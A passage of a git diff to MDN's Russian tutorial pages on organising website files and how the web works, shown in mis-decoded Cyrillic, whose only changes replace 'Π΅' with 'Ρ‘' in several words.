Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ вопросы, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Π°ΠΌ слСдуСт Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Ρ€Π°Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ»ΠΎΠ²ΡƒΡŽ структуру для своСго Π²Π΅Π±-сайта.</p>
</div>
<h2 id="Π“Π΄Π΅_ваш_Π²Π΅Π±-сайт_Π΄ΠΎΠ»ΠΆΠ΅Π½_Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ_Π½Π°_вашСм_ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅">Π“Π΄Π΅ ваш Π²Π΅Π±-сайт Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅?</h2>
-<p>Когда Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ Π½Π° Π²Π΅Π±-сайтС локально Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ всС связанныС Ρ„Π°ΠΉΠ»Ρ‹ Π² ΠΎΠ΄Π½ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠ΅, которая ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ Ρ„Π°ΠΉΠ»ΠΎΠ²ΡƒΡŽ структуру ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Π²Π΅Π±-сайта Π½Π° сСрвСрС. Π­Ρ‚Π° ΠΏΠ°ΠΏΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π³Π΄Π΅ ΡƒΠ³ΠΎΠ΄Π½ΠΎ, Π½ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ Π΅Ρ‘ Ρ‚ΡƒΠ΄Π°, Π³Π΄Π΅ Π²Ρ‹ смоТСтС Π»Π΅Π³ΠΊΠΎ Π΅Ρ‘ Π½Π°ΠΉΡ‚ΠΈ, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ, Π½Π° ваш Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ стол, Π² домашнюю ΠΏΠ°ΠΏΠΊΡƒ ΠΈΠ»ΠΈ Π² ΠΊΠΎΡ€Π΅Π½ΡŒ вашСго ТСсткого диска.</p>
+<p>Когда Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ Π½Π° Π²Π΅Π±-сайтС локально Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ всС связанныС Ρ„Π°ΠΉΠ»Ρ‹ Π² ΠΎΠ΄Π½ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠ΅, которая ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ Ρ„Π°ΠΉΠ»ΠΎΠ²ΡƒΡŽ структуру ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Π²Π΅Π±-сайта Π½Π° сСрвСрС. Π­Ρ‚Π° ΠΏΠ°ΠΏΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π³Π΄Π΅ ΡƒΠ³ΠΎΠ΄Π½ΠΎ, Π½ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ Π΅Ρ‘ Ρ‚ΡƒΠ΄Π°, Π³Π΄Π΅ Π²Ρ‹ смоТСтС Π»Π΅Π³ΠΊΠΎ Π΅Ρ‘ Π½Π°ΠΉΡ‚ΠΈ, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ, Π½Π° ваш Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ стол, Π² домашнюю ΠΏΠ°ΠΏΠΊΡƒ ΠΈΠ»ΠΈ Π² ΠΊΠΎΡ€Π΅Π½ΡŒ вашСго Тёсткого диска.</p>
<ol>
<li>Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ мСсто для хранСния ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² Π²Π΅Π±-сайта. Π—Π΄Π΅ΡΡŒ, создайтС Π½ΠΎΠ²ΡƒΡŽ ΠΏΠ°ΠΏΠΊΡƒ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>web-projects</code> (ΠΈΠ»ΠΈ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎΠΉ). Π­Ρ‚ΠΎ Ρ‚ΠΎ мСсто, Π³Π΄Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ всС ваши ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ сайтов.</li>
- <li>Π’Π½ΡƒΡ‚Ρ€ΠΈ этой ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠΈ, создайтС Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΠΏΠ°ΠΏΠΊΡƒ для хранСния вашСго ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π²Π΅Π±-сайта. НазовитС Π΅Π΅ <code>test-site</code> (ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ творчСски).</li>
+ <li>Π’Π½ΡƒΡ‚Ρ€ΠΈ этой ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠΈ, создайтС Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΠΏΠ°ΠΏΠΊΡƒ для хранСния вашСго ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π²Π΅Π±-сайта. НазовитС Π΅Ρ‘ <code>test-site</code> (ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ творчСски).</li>
</ol>
<h2 id="НСбольшоС_отступлСниС_ΠΎ_рСгистрС_ΠΈ_ΠΏΡ€ΠΎΠ±Π΅Π»Π°Ρ…">НСбольшоС отступлСниС ΠΎ рСгистрС ΠΈ ΠΏΡ€ΠΎΠ±Π΅Π»Π°Ρ…</h2>
@@ -38,14 +38,14 @@ translation_of: Learn/Getting_started_with_the_web/Dealing_with_files
<ol>
<li>МногиС ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹, Π² частности Π²Π΅Π±-сСрвСры, Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ ΠΊ рСгистру. Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π²Ρ‹ ΠΏΠΎΠ»ΠΎΠΆΠΈΠ»ΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π° свой Π²Π΅Π±-сайт Π² <code>test-site/MyImage.jpg</code>, Π° Π·Π°Ρ‚Π΅ΠΌ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ Ρ„Π°ΠΉΠ»Π΅ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ°ΠΊ <code>test-site/myimage.jpg</code>, это ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ ΡΡ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ.</li>
- <li>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Π²Π΅Π±-сСрвСры ΠΈ языки программирования Π½Π΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ. НапримСр, Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ Π² ΠΈΠΌΠ΅Π½ΠΈ Ρ„Π°ΠΉΠ»Π°, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ систСмы ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚Π½Π΅ΡΡ‚ΠΈΡΡŒ ΠΊ ΠΈΠΌΠ΅Π½ΠΈ Ρ„Π°ΠΉΠ»Π° ΠΊΠ°ΠΊ ΠΊ Π΄Π²ΡƒΠΌ ΠΈΠΌΠ΅Π½Π°ΠΌ Ρ„Π°ΠΉΠ»ΠΎΠ². НСкоторыС сСрвСры Π·Π°ΠΌΠ΅Π½ΡΡŽΡ‚ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ Π² вашСм ΠΈΠΌΠ΅Π½ΠΈ Ρ„Π°ΠΉΠ»Π° Π½Π° "%20" (ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄ для ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ² Π² URI), Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Ρ‡Π΅Π³ΠΎ всС ваши ссылки Π±ΡƒΠ΄ΡƒΡ‚ сломаны. Π›ΡƒΡ‡ΡˆΠ΅ Ρ€Π°Π·Π΄Π΅Π»ΡΡ‚ΡŒ слова дСфисами, Ρ‡Π΅ΠΌΒ Π½ΠΈΠΆΠ½ΠΈΠΌΠΈ подчСркиваниями: <code>my-file.html</code> Π»ΡƒΡ‡ΡˆΠ΅ Ρ‡Π΅ΠΌΒ <code>my_file.html</code>.</li>
+ <li>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Π²Π΅Π±-сСрвСры ΠΈ языки программирования Π½Π΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ. НапримСр, Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ Π² ΠΈΠΌΠ΅Π½ΠΈ Ρ„Π°ΠΉΠ»Π°, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ систСмы ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚Π½Π΅ΡΡ‚ΠΈΡΡŒ ΠΊ ΠΈΠΌΠ΅Π½ΠΈ Ρ„Π°ΠΉΠ»Π° ΠΊΠ°ΠΊ ΠΊ Π΄Π²ΡƒΠΌ ΠΈΠΌΠ΅Π½Π°ΠΌ Ρ„Π°ΠΉΠ»ΠΎΠ². НСкоторыС сСрвСры Π·Π°ΠΌΠ΅Π½ΡΡŽΡ‚ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ Π² вашСм ΠΈΠΌΠ΅Π½ΠΈ Ρ„Π°ΠΉΠ»Π° Π½Π° "%20" (ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄ для ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ² Π² URI), Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Ρ‡Π΅Π³ΠΎ всС ваши ссылки Π±ΡƒΠ΄ΡƒΡ‚ сломаны. Π›ΡƒΡ‡ΡˆΠ΅ Ρ€Π°Π·Π΄Π΅Π»ΡΡ‚ΡŒ слова дСфисами, Ρ‡Π΅ΠΌΒ Π½ΠΈΠΆΠ½ΠΈΠΌΠΈ подчёркиваниями: <code>my-file.html</code> Π»ΡƒΡ‡ΡˆΠ΅ Ρ‡Π΅ΠΌΒ <code>my_file.html</code>.</li>
</ol>
-<p>Говоря простым языком,Β Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ дСфис для ΠΈΠΌΠ΅Π½ Ρ„Π°ΠΉΠ»ΠΎΠ². Поисковая систСма Google рассматриваСт дСфис ΠΊΠ°ΠΊ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅Π»ΡŒ слов, Π½ΠΎ Π½Π΅ относится ΠΊ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΡŽ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ. По этим ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ, Π»ΡƒΡ‡ΡˆΠ΅ всСго приобрСсти ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡ΠΊΡƒ ΠΏΠΈΡΠ°Ρ‚ΡŒ названия Π²Π°ΡˆΠΈΡ… ΠΏΠ°ΠΏΠΎΠΊ ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ² Π² Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС бСз ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ², раздСляя слова дСфисами, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅, ΠΏΠΎΠΊΠ° Π²Ρ‹ Π½Π΅ ΠΏΠΎΠΉΠΌΠ΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π΄Π΅Π»Π°Π΅Ρ‚Π΅. Π’Π°ΠΊΒ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ с мСньшим количСством ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ.</p>
+<p>Говоря простым языком,Β Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ дСфис для ΠΈΠΌΡ‘Π½ Ρ„Π°ΠΉΠ»ΠΎΠ². Поисковая систСма Google рассматриваСт дСфис ΠΊΠ°ΠΊ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅Π»ΡŒ слов, Π½ΠΎ Π½Π΅ относится ΠΊ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΡŽ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ. По этим ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ, Π»ΡƒΡ‡ΡˆΠ΅ всСго приобрСсти ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡ΠΊΡƒ ΠΏΠΈΡΠ°Ρ‚ΡŒ названия Π²Π°ΡˆΠΈΡ… ΠΏΠ°ΠΏΠΎΠΊ ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ² Π² Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС бСз ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ², раздСляя слова дСфисами, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅, ΠΏΠΎΠΊΠ° Π²Ρ‹ Π½Π΅ ΠΏΠΎΠΉΠΌΡ‘Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π΄Π΅Π»Π°Π΅Ρ‚Π΅. Π’Π°ΠΊΒ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ с мСньшим количСством ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ.</p>
<h2 id="ΠšΠ°ΠΊΡƒΡŽ_структуру_Π΄ΠΎΠ»ΠΆΠ΅Π½_ΠΈΠΌΠ΅Ρ‚ΡŒ_ваш_Π²Π΅Π±-сайт">ΠšΠ°ΠΊΡƒΡŽ структуру Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ ваш Π²Π΅Π±-сайт?</h2>
-<p>Π”Π°Π»Π΅Π΅, Π΄Π°Π²Π°ΠΉΡ‚Π΅ взглянСм Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊΡƒΡŽ структуру Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ наш тСстовый сайт. НаиболСС распространСнныС Π²Π΅Ρ‰ΠΈ, ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Π² любом ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ сайта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ создаСм: индСксный Ρ„Π°ΠΉΠ» HTML ΠΈΒ ΠΏΠ°ΠΏΠΊΠΈ, содСрТащиС изобраТСния, Ρ„Π°ΠΉΠ»Ρ‹ стилСй ΠΈ Ρ„Π°ΠΉΠ»Ρ‹ скриптов. Π”Π°Π²Π°ΠΉΡ‚Π΅ создадим ΠΈΡ… сСйчас:</p>
+<p>Π”Π°Π»Π΅Π΅, Π΄Π°Π²Π°ΠΉΡ‚Π΅ взглянСм Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊΡƒΡŽ структуру Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ наш тСстовый сайт. НаиболСС распространённыС Π²Π΅Ρ‰ΠΈ, ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Π² любом ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ сайта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ создаём: индСксный Ρ„Π°ΠΉΠ» HTML ΠΈΒ ΠΏΠ°ΠΏΠΊΠΈ, содСрТащиС изобраТСния, Ρ„Π°ΠΉΠ»Ρ‹ стилСй ΠΈ Ρ„Π°ΠΉΠ»Ρ‹ скриптов. Π”Π°Π²Π°ΠΉΡ‚Π΅ создадим ΠΈΡ… сСйчас:</p>
<ol>
<li><code><strong>index.html</strong></code>: Π­Ρ‚ΠΎΡ‚ Ρ„Π°ΠΉΠ» ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ содСрТит ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ домашнСй страницы, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ тСкст ΠΈ изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ люди видят, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ ΠΏΠΎΠΏΠ°Π΄Π°ΡŽΡ‚ Π½Π° ваш сайт. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ваш тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€, создайтС Π½ΠΎΠ²Ρ‹ΠΉ Ρ„Π°ΠΉΠ» с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>index.html</code> ΠΈ сохранитС Π΅Π³ΠΎ прямо Π²Π½ΡƒΡ‚Ρ€ΠΈ вашСй ΠΏΠ°ΠΏΠΊΠΈ <code>test-site</code>.</li>
@@ -55,7 +55,7 @@ translation_of: Learn/Getting_started_with_the_web/Dealing_with_files
</ol>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: На ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°Ρ… ΠΏΠΎΠ΄ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ Windows Ρƒ вас ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ ΠΈΠΌΠ΅Π½ Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρƒ Windows Π΅ΡΡ‚ΡŒΒ ΠΎΠΏΡ†ΠΈΡΒ <strong>Π‘ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ для извСстных Ρ‚ΠΈΠΏΠΎΠ² Ρ„Π°ΠΉΠ»ΠΎΠ²</strong>, Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Π°Ρ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΅Π΅, пСрСйдя Π² ΠΏΡ€ΠΎΠ²ΠΎΠ΄Π½ΠΈΠΊ, Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ <strong>Бвойства ΠΏΠ°ΠΏΠΊΠΈ...</strong> ΠΈ ΡΠ½ΡΡ‚ΡŒ Ρ„Π»Π°ΠΆΠΎΠΊ <strong>Π‘ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ для зарСгистрированных Ρ‚ΠΈΠΏΠΎΠ² Ρ„Π°ΠΉΠ»ΠΎΠ²</strong>, Π·Π°Ρ‚Π΅ΠΌ Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΡ‚ΡŒ <strong>OK</strong>. Для получСния Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ Π²Π°ΡˆΡƒ Π²Π΅Ρ€ΡΠΈΡŽ Windows, Π²Ρ‹ моТСтС произвСсти поиск Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: На ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°Ρ… ΠΏΠΎΠ΄ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ Windows Ρƒ вас ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ ΠΈΠΌΡ‘Π½ Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρƒ Windows Π΅ΡΡ‚ΡŒΒ ΠΎΠΏΡ†ΠΈΡΒ <strong>Π‘ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ для извСстных Ρ‚ΠΈΠΏΠΎΠ² Ρ„Π°ΠΉΠ»ΠΎΠ²</strong>, Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Π°Ρ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΅Ρ‘, пСрСйдя Π² ΠΏΡ€ΠΎΠ²ΠΎΠ΄Π½ΠΈΠΊ, Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ <strong>Бвойства ΠΏΠ°ΠΏΠΊΠΈ...</strong> ΠΈ ΡΠ½ΡΡ‚ΡŒ Ρ„Π»Π°ΠΆΠΎΠΊ <strong>Π‘ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ для зарСгистрированных Ρ‚ΠΈΠΏΠΎΠ² Ρ„Π°ΠΉΠ»ΠΎΠ²</strong>, Π·Π°Ρ‚Π΅ΠΌ Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΡ‚ΡŒ <strong>OK</strong>. Для получСния Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ Π²Π°ΡˆΡƒ Π²Π΅Ρ€ΡΠΈΡŽ Windows, Π²Ρ‹ моТСтС произвСсти поиск Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅.</p>
</div>
<h2 id="Π€Π°ΠΉΠ»ΠΎΠ²Ρ‹Π΅_ΠΏΡƒΡ‚ΠΈ">Π€Π°ΠΉΠ»ΠΎΠ²Ρ‹Π΅ ΠΏΡƒΡ‚ΠΈ</h2>
diff --git a/files/ru/learn/getting_started_with_the_web/how_the_web_works/index.html b/files/ru/learn/getting_started_with_the_web/how_the_web_works/index.html
index f3a8d0da2c..399bedd3dd 100644
--- a/files/ru/learn/getting_started_with_the_web/how_the_web_works/index.html
+++ b/files/ru/learn/getting_started_with_the_web/how_the_web_works/index.html
@@ -22,19 +22,19 @@ translation_of: Learn/Getting_started_with_the_web/How_the_Web_works
<div>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</div>
<div class="summary">
-<p><em>Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π’Π΅Π±</em> даст ΡƒΠΏΡ€ΠΎΡ‰Π΅Π½Π½ΠΎΠ΅ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ происходит ΠΏΡ€ΠΈ просмотрС Π²Π΅Π±-страницы Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΈΠ»ΠΈ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π΅.</p>
+<p><em>Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π’Π΅Π±</em> даст ΡƒΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½ΠΎΠ΅ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ происходит ΠΏΡ€ΠΈ просмотрС Π²Π΅Π±-страницы Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΈΠ»ΠΈ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π΅.</p>
</div>
